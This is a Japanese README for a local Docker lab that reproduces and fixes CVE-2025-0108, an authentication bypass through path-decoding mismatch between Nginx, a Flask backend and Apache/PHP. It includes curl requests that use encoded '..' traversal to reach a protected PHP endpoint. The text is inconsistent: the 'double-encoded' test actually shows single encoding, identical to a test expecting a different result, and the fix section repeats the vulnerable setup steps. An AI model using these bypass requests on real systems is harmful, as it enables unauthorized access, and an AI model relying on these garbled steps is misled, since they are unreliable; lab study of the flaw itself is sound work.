
このリポジトリは、CVE-2025-0108の問題(NginxとApache間のパス混乱 / ヘッダースマグリング)を再現および軽減するための小さなラボ環境を含んでいます。
この課題の目的は、二重エンコードされたリクエストがマルチレイヤースタック(Nginx -> Flaskバックエンド -> Apache/PHP)で認証をバイパスする方法を示し、バックエンド側の緩和策を示すことです。
この環境は教育目的のみで使用されます。
CVE-2025-0108/ — 脆弱な実装(PoC)CVE-2025-0108_fix/ — 修正済み実装(バックエンドでデコードされたパスを検証)CVE-2025-0108レイヤー間のパスデコードの不一致により、二重エンコードされたパスが認証をバイパスできる脆弱なセットアップをシミュレートします。
CVE-2025-0108 ディレクトリから:
cd CVE-2025-0108
docker compose up --build
ホストから以下のcurlコマンドを実行します:
テスト1 — 二重エンコード(予想: HTTP 200)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
このリクエストは二重エンコード(%252e%252e == %2e%2e == ..)を使用し、脆弱なセットアップでのバイパスを示します。200 OKを返すはずです。
テスト2 — 単一エンコード(予想: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
テスト3 — 生のパス「..」(予想: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/../php/ztp_gate.php/PAN_help/x.css"
環境の停止:
docker compose down
バックエンドはアクセスを許可する前に、デコードされたパスの追加チェックを実行します。これにより、リクエストが二重エンコードされた場合の認証バイパスを防止します。
CVE-2025-0108 ディレクトリから:
cd CVE-2025-0108
docker compose up --build
ホストから以下のcurlコマンドを実行します:
CVE-2025-0108_fix ディレクトリから:
cd CVE-2025-0108_fix
docker compose up --build
テスト1 — 二重エンコード(予想: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
修正されたバックエンドはデコードされた「..」を検出し、401 Unauthorizedを返します。
テスト2 — 単一エンコード(予想: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
テスト3 — 生のパス「..」(予想: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/../php/ztp_gate.php/PAN_help/x.css"
環境の停止:
docker compose down